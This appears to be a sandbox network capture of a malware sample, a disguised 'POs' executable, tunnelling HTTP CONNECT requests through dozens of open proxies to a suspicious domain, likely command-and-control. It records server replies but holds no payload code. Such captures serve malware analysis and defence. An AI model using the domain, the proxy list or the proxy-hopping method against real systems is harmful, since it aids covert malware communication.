Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.11	50813	39.165.0.137	9002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.702554941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.249406099 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.11	50849	52.67.10.183	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.707062006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.031836033 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:19 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:42:20.032144070 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 26 5b da 66 e2 1d ce e0 87 a8 0a 4e 9b af e7 68 d5 ba 45 17 2e 27 3d e8 4f c9 30 31 bc a1 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&[fNhE.'=O01*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:42:20.358885050 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 95 35 9a 21 b5 5d da 22 50 82 68 c1 84 2d fb 0d cd 57 63 66 85 3a 31 24 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =95!]"Ph-Wcf:1$DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311145350Z260311145350Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:42:20.430713892 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 8b ff 1f 28 a5 9b 10 2f d2 34 57 5e dd 01 c8 be cb 4e 6a 94 be 2c 1e dd f5 14 a7 aa 5b 57 6a 6f 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 5d 11 60 bd da 60 e5 a3 4f b4 85 82 cd 52 e8 99 79 7b cb cf 7e Data Ascii: %! (/4W^Nj,[Wjo(]``ORy{~>M<>E
Mar 11, 2024 16:42:20.757982016 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 03 af 35 a9 4c 2f 5c a3 f4 5b 7d 0f d9 ac 31 58 21 28 d9 84 0d 0f ce 53 12 48 69 24 ba a0 f6 1d 64 61 d9 b5 47 15 e6 91 Data Ascii: (5L/\[}1X!(SHi$daG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.11	49996	120.37.121.209	9091	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.717613935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.066514969 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 15:42:10 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.11	49754	8.209.255.13	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.718832016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.775192022 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.11	50834	93.171.220.229	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.736036062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.532253981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.11	50854	91.202.230.219	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.744837046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.11	50881	47.242.234.237	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.747272015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.11	50905	45.196.148.67	5432	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.748799086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.965450048 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.11	50940	47.88.3.19	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.782217979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.954194069 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.4 Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.4</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.11	50880	186.124.164.213	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.789282084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.11	50901	184.181.217.194	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.789457083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.11	50947	162.159.241.5	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.789552927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.950356960 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.11	50944	104.238.111.107	3230	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.790380001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.235343933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.735465050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.735421896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.845282078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.887535095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.939013958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.938920021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.829792023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.11	50922	209.126.6.159	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.791424990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.382811069 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 640 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 74 61 6e 76 33 33 72 2e 61 62 40 67 6d 61 69 6c 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at tanv33r.ab@gmail.com to inform them o
Mar 11, 2024 16:42:27.382869959 CET	296	IN	Data Raw: 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 Data Ascii: f the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.11	50884	212.31.100.138	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.793206930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.11	50914	190.153.121.2	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.793819904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.11	50898	211.222.252.187	8193	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.800117970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.11	50887	51.83.184.241	9191	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.801143885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.336297989 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.11	50025	14.103.24.148	8000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.808090925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.162847042 CET	741	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.19.2 Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 579 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 39 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 